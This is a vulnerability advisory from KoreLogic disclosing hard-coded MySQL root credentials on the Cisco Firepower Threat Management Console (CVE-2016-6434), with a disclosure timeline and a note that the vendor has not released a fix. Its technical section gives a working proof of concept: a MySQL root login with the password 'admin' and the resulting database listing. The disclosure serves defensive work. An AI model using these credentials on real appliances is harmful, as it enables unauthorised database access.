KL-001-2016-005 : Cisco Firepower Threat Management Console Hard-coded MySQL
Credentials
Title: Cisco Firepower Threat Management Console Hard-coded MySQL Credentials
Advisory ID: KL-001-2016-005
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-005.txt
1. Vulnerability Details
Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-798: Use of Hard-coded Credentials
Impact: Authentication Bypass
CVE-ID: CVE-2016-6434
2. Vulnerability Description
The root account for the local MySQL database has poor password
complexity.
3. Technical Description
root@firepower:/Volume/6.0.1# mysql -u root --password=admin
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 23348
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise
Server - Advanced Edition (Commercial)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Sourcefire |
| external_data |
| external_schema |
| mysql |
| performance_schema |
| sfsnort |
+--------------------+
7 rows in set (0.00 sec)
mysql>
Note that mysqld listens only on loopback, so a remote attacker
would have to leverage some other condition to be able to reach
the mysql daemon.
4. Mitigation and Remediation Recommendation
The vendor has acknowledged this vulnerability
but has not released a fix for the
issue. Vendor acknowledgement available at:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc1
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
same product.
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
remediation efforts.
2016.09.15 - Cisco confirms remediation is underway and soon to be
completed.
2016.09.28 - Cisco informs KoreLogic that the acknowledgement details
will be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.
7. Proof of Concept
See Technical Description
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